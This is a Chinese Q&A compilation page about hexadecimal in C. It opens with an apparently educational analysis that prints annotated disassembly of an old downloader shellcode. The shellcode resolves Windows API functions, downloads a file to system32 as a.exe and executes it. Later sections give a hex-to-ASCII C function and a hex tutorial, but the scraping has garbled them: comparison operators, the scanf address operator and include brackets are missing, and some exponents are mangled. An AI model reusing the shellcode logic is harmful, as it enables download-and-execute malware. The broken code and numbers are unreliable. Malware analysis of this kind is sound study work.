c语言hex(c语言hex数据)

今天给各位分享c语言hex的知识,其中也会对c语言hex数据进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!

本文目录一览:

1、hex文件转换成C语言2、c语言中“%x(HEX)”HEX是什么意思3、用c语言实现hex转换成ascii的函数4、C语言十六进制详解.拜托各位大神5、C语言格式怎么转换成hex格式?

hex文件转换成C语言

文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。

1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。

OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。

在Windows平台,特别是x64平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。

2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。

拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。

将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:

4AD75021    5A                     pop     edx                                           ; 函数返回的地址保存到edx中

4AD75022    64:A1 30000000         mov     eax, dword ptr fs:[30]                        ; 取peb

4AD75028    8B40 0C                mov     eax, dword ptr [eax+C]                        ; peb_link

4AD7502B    8B70 1C                mov     esi, dword ptr [eax+1C]                       ; 初始化列表到esi

4AD7502E    AD                     lods    dword ptr [esi]                               ; [esi]-eax + 8的位置即kernel32.dll的地址

4AD7502F    8B40 08                mov     eax, dword ptr [eax+8]                        ; eax=kernel32.dll的地址

4AD75032    8BD8                   mov     ebx, eax                                      ; ebx=kernel32.dll的基址

4AD75034    8B73 3C                mov     esi, dword ptr [ebx+3C]                       ; esi = pe头偏移

4AD75037    8B741E 78              mov     esi, dword ptr [esi+ebx+78]                   ; esi为kernel32.dll导出表的偏移

4AD7503B    03F3                   add     esi, ebx                                      ; esi = kernel32.dll导出表的虚拟地址

4AD7503D    8B7E 20                mov     edi, dword ptr [esi+20]                       ; edi=ent的偏移地址

4AD75040    03FB                   add     edi, ebx                                      ; edi = ent的虚拟地址

4AD75042    8B4E 14                mov     ecx, dword ptr [esi+14]                       ; ecx = kernel32.dll导出地址的个数

4AD75045    33ED                   xor     ebp, ebp                                      ; ebp=0

4AD75047    56                     push    esi                                           ; 保存导出表虚拟地址

4AD75048    57                     push    edi                                           ; 保存ent虚拟地址

4AD75049    51                     push    ecx                                           ; 保存计数

4AD7504A    8B3F                   mov     edi, dword ptr [edi]

4AD7504C    03FB                   add     edi, ebx                                      ; 定位ent中的函数名

4AD7504E    8BF2                   mov     esi, edx                                      ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据

4AD75050    6A 0E                  push    0E                                            ; 0xe0是GetProcAddress函数的字符个数

4AD75052    59                     pop     ecx                                           ; 设置循环次数为 0xe

4AD75053    F3:A6                  repe    cmps byte ptr es:[edi], byte ptr [esi]        ; ecx!=0zf=1 ecx=ecx-1 cmps判断 GetProcAddress

4AD75055    74 08                  je      short 4AD7505F                                ; 如果ENT中的函数名为GetProcAddress跳走

4AD75057    59                     pop     ecx                                           ; 不相等则将导出地址数出栈

4AD75058    5F                     pop     edi                                           ; ent虚拟地址出栈

4AD75059    83C7 04                add     edi, 4                                        ; edi地址递增4字节 因为ENT的元素大小为4字节

4AD7505C    45                     inc     ebp                                           ; ebp用于保存ent中定位到GetProcAddress函数时的计数

4AD7505D  ^ E2 E9                  loopd   short 4AD75048                                ; 循环查询

4AD7505F    59                     pop     ecx

4AD75060    5F                     pop     edi

4AD75061    5E                     pop     esi

4AD75062    8BCD                   mov     ecx, ebp                                      ; 计数保存于ecx

4AD75064    8B46 24                mov     eax, dword ptr [esi+24]                       ; esi+0x24 Ordinal序号表偏移地址

4AD75067    03C3                   add     eax, ebx                                      ; ordinal序号表的虚拟地址

4AD75069    D1E1                   shl     ecx, 1                                        ; ecx逻辑增加2倍  因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍

4AD7506B    03C1                   add     eax, ecx

4AD7506D    33C9                   xor     ecx, ecx                                      ; ecx=0

4AD7506F    66:8B08                mov     cx, word ptr [eax]                            ; 保存取出的ordinal序号

4AD75072    8B46 1C                mov     eax, dword ptr [esi+1C]                       ; eax 为kenrnel32.dll的EAT的偏移地址

4AD75075   03C3                   add     eax, ebx                                      ; eax = kernel32.dll的eat虚拟地址

4AD75077    C1E1 02                shl     ecx, 2                                        ; 同上,扩大4倍因为eat中元素为DWORD值

4AD7507A    03C1                   add     eax, ecx

4AD7507C    8B00                   mov     eax, dword ptr [eax]                          ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA

4AD7507E    03C3                   add     eax, ebx                                      ; 与基址相加求得GetProcAddress函数的虚拟地址

4AD75080    8BFA                   mov     edi, edx                                      ; GetProcAddress字符到edi

4AD75082    8BF7                   mov     esi, edi                                      ; esi保存GetProcAddress地址

4AD75084    83C6 0E                add     esi, 0E                                       ; esi指向GetProcAddress字符串的末地址

4AD75087    8BD0                   mov     edx, eax                                      ; edx为GetProcAddress的地址

4AD75089    6A 04                  push    4

4AD7508B    59                     pop     ecx                                           ; ecx=4

有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:

4AD7508C    E8 50000000            call    4AD750E1                                      ; 设置IAT 得到4个函数的地址

4AD75091    83C6 0D                add     esi, 0D                                       ; 从这里开始实现ShellCode的真正功能

4AD75094    52                     push    edx

4AD75095    56                     push    esi                                           ; urlmon

4AD75096    FF57 FC                call    dword ptr [edi-4]                             ; 调用LoadLibrarA来加载urlmon.dll

4AD75099    5A                     pop     edx                                           ; edx = GetProcAddress的地址

4AD7509A    8BD8                   mov     ebx, eax

4AD7509C    6A 01                  push    1

4AD7509E    59                     pop     ecx

4AD7509F    E8 3D000000            call    4AD750E1                                      ; 再次设置 IAT 得到URLDownLoadToFileA

4AD750A4    83C6 13                add     esi, 13                                       ; esi指向URLDownLoadToFileA的末地址

4AD750A7    56                     push    esi

4AD750A8    46                     inc     esi

4AD750A9    803E 80                cmp     byte ptr [esi], 80                            ; 判断esi是否为0x80 这里在原码中有0x80如果要自己用,应该加上一个字节用于表示程序结束

4AD750AC  ^ 75 FA                  jnz     short 4AD750A8                                ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x80

4AD750AE    8036 80                xor     byte ptr [esi], 80

4AD750B1    5E                     pop     esi

4AD750B2    83EC 20                sub     esp, 20                                       ; 开辟 32 byte栈空间

4AD750B5   8BDC                   mov     ebx, esp                                      ; ebx为栈区的指针

4AD750B7    6A 20                  push    20

4AD750B9    53                     push    ebx

4AD750BA    FF57 EC                call    dword ptr [edi-14]                            ; 调用GetSystemDirectoryA得到系统目录

4AD750BD    C70403 5C612E65        mov     dword ptr [ebx+eax], 652E615C                 ; ebx+0x13 系统路径占 0x13个字节

4AD750C4    C74403 04 78650000     mov     dword ptr [ebx+eax+4], 6578                   ; 拼接下载后的文件路径%systemroot%\system32\a.exe

4AD750CC    33C0                   xor     eax, eax

4AD750CE    50                     push    eax

4AD750CF    50                     push    eax

4AD750D0    53                     push    ebx

4AD750D1    56                     push    esi

4AD750D2    50                     push    eax

4AD750D3   FF57 FC                call    dword ptr [edi-4]                             ; URLDownLoadToFile下载文件为a.exe

4AD750D6    8BDC                   mov     ebx, esp

4AD750D8    50                     push    eax

4AD750D9    53                     push    ebx

4AD750DA    FF57 F0                call    dword ptr [edi-10]                            ; WinExec执行代码

4AD750DD    50                     push    eax

4AD750DE    FF57 F4                call    dword ptr [edi-C]                             ; ExitThread退出线程

接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。

使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:

通过这个实例 ,相信应该能理解一个大致的流程啦。

c语言中“%x(HEX)”HEX是什么意思

HEX — 英文 Hexadecimal 的缩写,意思是 16进制

int i = 1234;

printf(“%x (HEX)”,i)

格式语句中%x的意思是把i转换成16进制数输出,

格式语句中 (HEX) 的意思是印字符(HEX)

打出:

4d2 (HEX)

4d2 是16进制数。

c语言中 16进制数 写成 0x4d2.

例如赋值语句:

i = 0x4d2;

i = 3.0 * 0x4d2;

c语言hex(c语言hex数据)

用c语言实现hex转换成ascii的函数

#include stdio.h

char hextoascii(char hex_byte)

{

    char result;

    if((hex_byte=0)(hex_byte=9))            //变成ascii数字

        result = hex_byte + 0x30;

    else if((hex_byte = 10)(hex_byte = 15)) //变成ascii大写字母

        result = hex_byte + 0x37;

    else

        result = 0xff;

    return result;

}

main()

{

    short hex_data;

    char ascii_data[10],i;

    printf(“Input hex data:\n”);

    scanf(“%x”,hex_data);

    while(hex_data)

    {

        ascii_data[i++] = hextoascii((char)(hex_data%16));

        hex_data /= 16;

    }

    printf(“Output ascii data:\n”);

    for(unsigned char j = 0;j  i;j++)

        printf(“%c”,ascii_data[j]);

}

C语言十六进制详解.拜托各位大神

十六进制(hexadecimal,缩写为hex)是以16为基数的计数系统,它是计算机中最常用的计数系统。十六进制中的计数过程为:O,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,等等。十六进制中的字母是几个单位数标识符,表示十进制的10到15。要记住在不同基数下的计数规则,即从O数到比基数小1的数字,在十六进制中这个数就是十进制的15。因为西式数字中没有表示大于9的单位数,所以就用A,B,c,D,E和F来表示十进制的10到15。在十六进制中,数到F之后,就要转到两位数上,也就是1OH或Ox1O。下面对十六进制(第二行)和十进制(第一行)的计数过程作一下比较: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,…… 1,2,3,4,5,6,7,8,9,A, B, C, D, E, F, 10,…… 注意,十进制的10等于十六进制的A。与前面讨论过的计数系统一样,每增加一个十六进制位,实际上就增加了一个16的幂,即160(1),161(16),162(256),163(4096),等等。因此,十六进制数3F可以展开为(3×161)+(F×160),等于十进制的(48+15)或63;十六进制数13F可以展开为(1×162)+(3×161)+(F×160),等于十进制的(256+48+15)或319。在c程序中,这两个数用0x3F或Oxl3F这样的形式来表示,其中的“0x”前缀用来告诉编译程序(和程序员)该数字应被当作十六进制数来处理。如果不加“0x”前缀,你就无法判断一个数究竟是十六进制数还是十进制数(或者是八进制数)。 对表20.22稍作改进,加入十六进制的计数过程,就得到了表20.24: ————————————————————————————————— 二进制 十进制值 二进制幂 十六进制 十六进制幂 ————————————————————————————————— 0000 O O 0001 1 20 1 160 0010 2 21 2 0011 3 3 0100 4 22 4 0101 5 5 0110 6 6 0111 7 7 1000 8 23 8 1001 9 9 1010 10 A 1011 11 B 1100 12 C 1101 13 D 1110 14 E 1111 15 F 10000 16 24 10 161 ————————————————————————————————— 笔者在上表的最后又加了一行,使计数达到十进制的16。通过比较二进制、十进制和十六进制·你就会发现:“十”在二进制中是“1010”,在十进制中是“10”,在十六进制中是“A”;。。十六”在二进制中是“1 0000″或“10000”,在十进制中是“16”,在十六进制中是“1O”,,(见上表的最后一行)。这意味着什么呢?因为今天的16,32和64位处理器的位宽恰好都是16的倍数,所以在这些类型的计算机中用十六进制作为计数系统是非常合适的。 十六进制位和二进位之间有一种“倍数”关系。在上表的最后一行中,二进制值被分为两部分(1 0000)。4个二进制位(或者4位)可以计数到15(包括O在内共16个不同的数字),而4位(bit)正好等于一个半字节(nibble)。在上表中你还可以发现,一个十六进制位同样可以计数到15(包括。在内共l 6个不同的数字),因此,一个十六进制位可以代表4个二进制位。一个很好的例子就是用二进制表示十进制的15和16,在二进制中,十进制的15就是1111,正好是4个二进制位能表示的最大数字;在十六进制中,十进制的15就是F,也正好是一个十六进制位能表示的最大数字。十进制的16要用5个二进制位(1 0000)或两个十六进制位(10)来表示。下面把前文提到过的两个数字(0x3F和0x13F)转换为二进制: 3F 111111 l3F 100111111 如果把前面的空格换为O,并且把二进制位分成4位一组,那么看起来就会清楚一些: 3F 0 0011 1111 l3F 1 0011 1111 你并不一定要把二进制位分成4位一组,只不过当你明白了4个二进制位等价于一个十六进制位后,计数就更容易了。为了证明上述两组数字是相等的,可以把二进制值转换为十进制值(十六进制值到十进制值的转换已经在前文中介绍过了);二进制的111111就是(1×25)+(1×24)+(1×23)+(1×22)+(1×21)+(1×20),等于十进制的(32+16+8+4+2+1)或63,与0x3F的转换结果相同。二进制的1 0011 1111就是(1×28)+(O×27)+(0×26)+(1×25)+(1×24)+(1×23)+(1×22)++(1×21)+(1×20),等于十进制的(256+32+1 6+8+4+2+1)或319。因此,十六进制和二进制能象手掌和手套那样相互匹配。

记得采纳啊

C语言格式怎么转换成hex格式?

在KEIL软件上建立工程项目,编辑C语言,编译调试无错后,点击project下的options for target,在output标签下勾选输出HEX,确定后就在编译一下会自动生成HEX文件在相同目录里。

c语言hex的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于c语言hex数据、c语言hex的信息别忘了在本站进行查找喔。

本文来自投稿,不代表【】观点,发布者:【

本文地址: ,如若转载,请注明出处!

举报投诉邮箱:253000106@qq.com

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2024年4月1日 09:21:43
下一篇 2024年4月1日 09:28:57

相关推荐

  • c语言改写模式,c语言实现修改功能

    c语言程序修改? 1、这个程序有4个错误,我都加粗了,第一个是m没有赋初值,第二个是while表达式中的ch=getchar()需要括号括起来,第三个是m=m*10+ch-0中的0也需要用单引号括起来,第四个是第2个while中为m!=0。 2、define容易造成误会,因为不符合一般的编程习惯,false 0, true 1;scanf放在你的那个地方是达…

    2024年5月23日
    3900
  • c语言控制代码的换码序列,c语言交换代码

    求C语言编程大神解答一下下面这个编程代码? k==5,用5去除125余0,所以r=125%5中r为0。由于!0为1,所以执行while循环体:先打印出5(k的值),再n=n/k==125/5=25;由于251则再打印出*号。这一循环结果输出是5*。 下面是我的代码,三个函数分别对应三个问题。 在实现基本要求的前提下,拓展了可以从键盘输入的功能,以下为各题代码…

    2024年5月23日
    5500
  • c语言扫描io脚状态,c语言端口扫描

    求51单片机的上升沿和下降沿C语言检测程序列子,端口就是普通IO口。 上升沿触发是当信号有上升沿时的开关动作,当电位由低变高而触发输出变化的就叫上升沿触发。也就是当测到的信号电位是从低到高也就是上升时就触发,叫做上升沿触发。 单片机怎么计算1s内下降沿的个数的C语言程序或者计算两个下降沿的时间(检测脉冲频率)计算1s内下降沿的个数方法是,一个定时器设置定时1…

    2024年5月23日
    4300
  • c语言mallloc使用的简单介绍

    C语言中使用malloc必须加#includemallo.h? 1、在C语言中使用malloc函数进行动态内存分配。malloc的全称是memory allocation,中文叫动态内存分配。原型:extern void malloc(unsigned int num_bytes);功能:分配长度为num_bytes字节的内存块。 2、你可以看一下C语言那本…

    2024年5月23日
    4300
  • c语言三位小数,C语言三位小数

    怎样用C++语言输出精确到小数点后三位的数? 1、用C++语言输出精确到小数点后三位的数,可以参考下面给出的代码:coutsetiosflags(ios:fixed)setprecision(3)。其中 setiosflags中set是设置的意思。ios是iostream的缩写,即输入输出流。flags是标志的意思。 2、要精确到小数点后若干位,则数据类型为…

    2024年5月23日
    7200
  • c语言21点游戏,二十一点游戏代码c语言

    如何使用C语言编写简单小游戏? 1、数学知识:长方形的面积S=a*b 长方形周长L=2*(a+b)其中a b分别为长方形的宽和高。算法分析:长方形面积及周长均依赖于宽和高,所以先要输入宽高值,然后根据公式计算,输出结果即可。 2、/*也不知道你是什么级别的,我是一个新手,刚接触编程语言,以下是我自己变得一个小程序,在所有c语言的编译器(vc++0、turbo…

    2024年5月23日
    6300
  • c语言当中的null,C语言当中的符号

    C/C++中,NULL和null的区别是什么? nul 和 null要看编译器,不同的编译器有所区别。 所以C或者C++中都使用一个特殊定义NULL表示无效值,其本质就是未定义具体数据类型的0值。 null是是什么都没有的意思。在java中表示空对象。 本意是“空的;元素只有零的”意思。计算机中通常表示空值,无结果,或是空集合。\x0d\x0a在ASCII码…

    2024年5月23日
    4500
  • 包含c语言对txt文件命名的词条

    如何在C语言编程里面修改源文件名字 如果你是在WINDOWS的话,简单了,随便用个编辑器,比如记事本,然后写c源程序,保存到你想要保存的位置。如果你在DOS下,可以用edit,写好以后,按alt键,选择文件菜单,然后保存。 用open打开文件,注意操作模式使用“修改”或者“添加” 用write或者fprintf向文件中写入你的内容。 用close关闭文件。 …

    2024年5月23日
    4800
  • 学c语言编程,学c语言编程用什么软件

    编程开发必须要学C语言吗? 1、要学习。编程开发的学习内容主要包括c语言、python和c+语言。C语言作为一种简单灵活的高级编程语言,它是一个面向过程的语言,一般是作为计算机专业的基础入门语言课程。 2、C语言。对于刚接触编程的人来说,先学习C语言是非常重要的。C语言可以说是是计算机编程语言的鼻祖,其他的编程语言几乎全是由C语言变化衍生出来的。 3、不需要…

    2024年5月23日
    3400
  • c语言用string定义字符串,c语言中用string类型来处理字符串类型

    C++怎样定义定义字符串 1、第一是字符数组来表示字符串。用下面的语句声明:char a[10];C语言中字符数组与字符串的唯一区别是字符串末尾有一个结束符\0,而字符数组不需要。 2、在C中定义字符串有下列几种形式:字符串常量,char数组,char指针 字符串常量 即:位于一对双括号中的任何字符。双引号里的字符加上编译器自动提供的结束标志\0字符,作为 …

    2024年5月23日
    4200

发表回复

登录后才能评论



关注微信